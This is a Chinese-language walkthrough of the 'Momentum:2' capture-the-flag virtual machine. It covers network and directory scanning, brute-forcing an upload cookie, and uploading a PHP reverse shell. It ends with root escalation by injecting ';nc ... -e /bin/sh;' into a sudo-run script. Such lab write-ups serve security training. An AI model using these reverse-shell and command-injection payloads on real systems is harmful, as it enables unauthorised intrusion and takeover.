Momentum:2 一、基本信息
名称:Momentum:2 发布日期:2021.6.28 作者:AL1ENUM 系列:Momentum 推特:@AL1ENUM
二、靶机简介
Flags: www-data:/home/athena/user.txt root:/root/root.txt
难度:中等
三、文件信息
文件名:Momentum2.ova 文件大小:698MB 下载地址: MD5: 5E837FD87D809C499911B1CB1A257CD9 SHA1: 17FACC18FE6A6979159C4D0A09CC330602E81E68
四、镜像信息
格式:Virtual Machine (Virtualbox - OVA) 操作系统:Linux(debain)
五、网络信息
DHCP服务:可用 IP地址:自动分配
六、环境配置
1.将靶机Momentum2和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:
七、攻略步骤 信息探测
1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:
1 nmap -sP 192.168.56.0/24,扫描靶机ip
2.再进行端口扫描,发现只开放了22和80端口,访问首页有一些图片:
1 nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.107 | tee nmapscan,端口扫描
3.最后再进行一下目录扫描,发现五个可见目录,可以去看看:
1 gobuster dir -u http://192.168.56.107/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描
文件上传漏洞发现
1.访问一下dashboard.html页面,是一个上传页,会将文件传到目录/owls下,而这个目录无法直接上传php文件,只能上传txt文件:
2.在前端js是没有做出文件上出限制的,目录扫描到ajax.php是0kb,可以去查看ajax.php.bak文件,发现规定在cookie中做出了上传限制,则想到BP抓包修改cookie:
ajax.php.bak代码的内容是:当cookie存在,且键名为admin时,是可以上传pdf、php、txt文件的;不过admin需要一个值,代码中已经给出了值,但是在这个值的最后还缺少一位大写的字符;此外,还要使用post方式提交一个参数secure;最后上传成功时会返回一个1
3.使用crunch生成一个最后一位是大写的字符字典,用于等下BP去爆破cookie;并且修改kali自带的webshell,准备上传:
1 2 crunch 1 1 -t , -o pass.txt vim /usr/share/webshells/php/php-reverse-shell.php
Burpsuite抓包修改
1.在dashboard.html选择上传php-reverse-shell.php,用BP拦截后,导入Intruder模块,加载刚才生成的字典pass.txt,并添加一个POST数据:
2.开始爆破cookie,发现最后的大写字符是R,来到Repeater模块,添加cookie和post后发送包,在kali开启端口监听,在/owls目录触发webshell:
3.用python构建一个交互式shell,然后在/home/athena目录下可以发现第一个flag,即user.txt:
1 python3 -c 'import pty;pty.spawn("/bin/bash")'
root提权
1.查看同目录下的password-reminder.txt文件,得到一个密码提示,Asterisk是的意思,可以猜测是任意字符,但其实ssh登录尝试一下就是 :
2.查看当前用户权限,可以以root身份执行cookie-gen.py,查看文件,发现会将输入的值传给seed参数,然后写入到log.txt中,在echo时会执行bash命令:
3.可以直接输入反弹shell给seed,然后kali开启对应端口监听,在/root目录下能得到第二个flag,即root.txt:
1 反弹shell:;nc 192.168.56.102 12345 -e /bin/sh;